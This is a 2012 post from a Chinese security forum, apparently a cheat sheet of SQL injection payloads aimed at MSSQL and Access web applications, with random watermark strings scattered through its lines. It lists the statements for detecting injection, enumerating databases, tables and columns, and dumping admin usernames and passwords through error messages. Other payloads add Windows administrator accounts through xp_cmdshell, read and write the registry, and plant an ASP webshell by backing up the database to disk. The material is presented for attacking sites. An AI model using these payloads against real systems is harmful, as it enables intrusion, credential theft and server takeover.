找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1938|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
4 T: W* h( R! f9 _, W$ D& f+ \1 y;and 1=1 8 f( }2 g4 l' b
;and 1=2 . U* Y) n0 B' B* n/ M" Q$ q6 x9 ^

5 O5 s, p: v  A, ^2.初步判断是否是mssql
" C& s7 z* D! a- @2 [# P0 r;and user>0
) I. r5 a: ^5 Z6 ?+ ~! u) x
& q2 B$ f! `' Y$ n. W3 E1 m$ e7 k3.判断数据库系统 ! l% S: v5 m/ t" Q8 r) Q
;and (select count(*) from sysobjects)>0 mssql , K$ K( A# J0 C; ~! a
;and (select count(*) from msysobjects)>0 access
% ]/ q1 [; u1 i* ^$ w( P& p
" b( k2 ]4 U3 d& L, Y5 V4.注入参数是字符 ; V) C* ?5 F1 p6 ^9 H
'and [查询条件] and ''=' # o( b" y& s! a3 o' U# `

1 _" [# G1 \' `& `8 l5.搜索时没过滤参数的   ?2 O: i; F! b0 ?; o
'and [查询条件] and '%25'='
7 H% a  v+ e0 }; i9 A# I$ u) C# J+ y  H4 q
6.猜数表名 2 f6 h  V: e, n
;and (select Count(*) from [表名])>0
2 Y% a0 l0 y) ]& o' j* r
' G9 ]! X( M. h; A) c3 J  _7.猜字段 4 u: P2 v- s2 D, G* E! g3 X
;and (select Count(字段名) from 表名)>0
- d$ ~1 l  r8 M! W. v/ M
0 H" I4 b/ Q* ]8.猜字段中记录长度 - ]* K3 w% V6 ]1 w# A1 H- m
;and (select top 1 len(字段名) from 表名)>0 $ z* j9 Z! e7 y' }. h4 M/ m
1 P$ ^6 c4 y# J; x0 U
9.(1)猜字段的ascii值(access)
. S2 z+ K7 l. o6 o# [;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 9 X& G* `/ z- C5 y# W, R

! f1 d/ t6 q) C5 g5 Y' _7 |- q(2)猜字段的ascii值(mssql) / T! J. N; E$ A) f
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 + N* h, x) I) n4 D7 i- z9 l

) H- C4 s" O* Y# I+ K/ A0 Q; ^" g10.测试权限结构(mssql)
7 t. y. z" x8 k! \+ ?) N;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 W, m1 m. i/ B# p% @7 f8 M
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
6 E% _6 G. k4 L! [;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 e- n; X9 W% H;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
  I; V. J; ^4 x7 G2 f7 n;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
8 R4 l9 l) ]: m! P2 S+ ];and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ' k5 M  C: A% X% i: M: d8 D
;and 1=(select IS_MEMBER('db_owner'));--
% L" @8 R: |" c/ `) o" [8 m
; [$ Q; _4 a& v; L: s( a' T) f11.添加mssql和系统的帐户 ( Y0 j; S$ P% t. g) c) g1 R
;exec master.dbo.sp_addlogin username;--
# K6 X% ^& N  p! y6 b) O" O$ w+ c;exec master.dbo.sp_password null,username,password;-- 7 l- ~2 \) J3 j' c
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- + s1 j, z& X& F3 ]+ v! R
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- & i: N9 L1 L1 G/ r
;exec master.dbo.xp_cmdshell 'net user username password /add';-- + _, C! j% z* m+ A9 M& @
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  c6 Z! ]( {: a& c/ I1 Z$ _8 P/ e
0 }+ `) ^: I5 K9 _# ?* @: U12.(1)遍历目录
9 B: \5 G' F. `# _& H;create table dirs(paths varchar(100), id int) * g2 Y2 z+ `) j, u& `
;insert dirs exec master.dbo.xp_dirtree 'c:\' , u% Z3 R# R3 O: {% `1 N
;and (select top 1 paths from dirs)>0 / m1 w- p  Z: X, I& {
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . Y  w* t, x; B9 I: J" o* a2 N
: E# X! v0 K3 q% D; {& _1 V8 {+ Y
(2)遍历目录 " O! l& F; i6 E4 q$ _4 A
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * i( E: b* F. R. l! a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( v. w3 ~7 w% l$ m( B;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 ^$ ^. {% j: e2 A$ `  r;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 + A. T5 j' X% ^! E$ ]5 G- q6 M7 ~5 F
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
- |8 S' j' u* N) m$ f, O# I& y7 k: V' g2 D2 S5 j
13.mssql中的存储过程 8 x( Q" c) [* }% ~9 \3 D
xp_regenumvalues 注册表根键, 子键 + N6 A7 n6 g* X* J/ K6 @8 R- f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- B. T3 l# R; Txp_regread 根键,子键,键值名 % @0 v: O9 x3 {$ L. ], u  j. [
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 ~  r- |0 z" O9 Z; Q2 ~* ?" w" |xp_regwrite 根键,子键, 值名, 值类型, 值 ( X* ~' x  d# i1 Z% w9 z
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( t  W! G7 e: n0 z( C0 H& w
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ; m6 p% D" ^+ r% y( {
xp_regdeletevalue 根键,子键,值名 3 J% l7 T7 r9 c. Z( w* \7 _
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 # [3 ^/ B/ ?! f- Z2 {$ R
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2 ^  O7 t/ V- U" {- z) H- z, k" c
) X# ]- Q2 f" F' [, h( G: x
14.mssql的backup创建webshell
% r2 }" E6 D7 @* d5 d  n) ?' Iuse model
- ]1 a# x5 q' l8 j  g4 Gcreate table cmd(str image); ; `8 _4 e' B* q0 P
insert into cmd(str) values ('<% Dim oScript %>');
1 {$ d; O( R4 Y. M& ^. P! g$ s" N! Dbackup database model to disk='c:\l.asp';
' c6 o" j( R1 d0 i" K
9 ?4 N  z% G0 r- U  o: L& H+ {15.mssql内置函数
% ~# Q& X$ n; p% P5 s  q;and (select @@version)>0 获得Windows的版本号 + z- n9 ]! _# a4 |
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
  i+ s9 h; R  y# J! ~1 I( V;and (select user_name())>0 爆当前系统的连接用户 ) a6 @* ?# u( K( j4 x2 X! }
;and (select db_name())>0 得到当前连接的数据库
: i$ C) f' B" r9 e. |
( S+ ~  f) L- y' }! o
5 k) ]( E) R$ V6 C! Y
4 b6 v: ?+ |1 R3 I6 Y4 Z" j4 O* dMSSQL手注暴库
. \: q/ M* j$ R* V, @8 d) N3 X3 G$ `7 q' h, Q1 p. ]. F) Z' `( b
1.暴出当前表名和列名/ N; Q2 ]0 Z, k, O$ Z
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。; Z/ }4 b4 q* C; M
& ]3 s! M/ A8 f& O; Y+ g
第一.爆出所有数据库名2 p3 d7 u+ O7 `9 `! T& X. P0 `9 q7 L
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。, b6 Z: b- G% _' k1 g- V% R7 D
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
7 v4 C6 @% J' J$ Z" }6 r; \3 k6 x9 b7 M# }2 f
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名4 f3 x  x: G' O, k+ t7 v! z

- e: P% q$ s7 }6 Z( F! m  b& y: }7 Z' h/ b
第二.爆出指定库中的所有表名1 O7 n( U& [) M
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
) {8 P7 O$ n! N5 P4 h$ a: r再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。6 F2 P9 G5 ?/ L' |: K* {" [7 I% S
4 q; g, k& g7 R4 ]' W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
9 t9 J8 C* o7 Y' g& R' z# Nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
2 Q1 W* G  A! N; H/ s- z6 hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
% N# q) c& q# o! o" ?/ g$ m
4 u6 H, @$ M2 B* Q2 f4.爆出指定表中的所有列名& r: V/ i1 s" N. j  h- a* s9 Z
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) $ {1 i- A2 _- J8 T* m
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'6 e8 d! a) T& Q0 l  o  b5 Y

. J; m! @+ e  m$ nand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
* ^# V8 ?/ T+ Y$ ^
- f1 U1 G$ o, @+ s: S再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
2 \0 \1 P5 t* x4 N9 ^, A) }* l依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。3 |% Y& N% E( E2 s) q0 X
# }6 T7 _" h( c- v! R, I

' _! [+ {8 i6 Rand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
* D2 s+ m" O5 V& {6 l' l: ]& I" F- t- j+ G
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名4 v$ h2 c) K- h. n* |7 C* e

( h. w3 D4 Z2 s6 H3 rand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
4 n% I9 z+ z) ]( x* o
1 _: i9 H) p5 k* Z( ^( t5 @
+ ~( P' s  @% n
1 U& W# x+ `% L. |" @: `! M8 |9 Z- B5.读取指定表中的数据) e; q0 m) R. Z) o" O1 H

4 E! e) O4 r: S3 Iand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 & p8 ?$ F( f+ b2 i4 ^8 y

: U) |4 O- w4 jand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
+ u! [+ e7 `! k* X2 r: }2 I! [
! n& F3 u3 q' S1 T  y8 Dand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码, }* S, }3 N. `. F7 P9 h
* n# a$ f- f& H' o7 U8 Q2 i0 J

6 [% R4 ~3 R; g0 \# v1 Vand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)" x; p# T% h: m$ l7 q4 c! O6 i
( ?" W; U& u) S! y
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)' Y3 a! }0 U" }" C* F, [

+ W: o9 S& f! h9 |and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
: c9 m7 y" q0 {" b# g( z0 {( r
% c6 M! F* |' d知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
" J$ e- A4 e2 E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表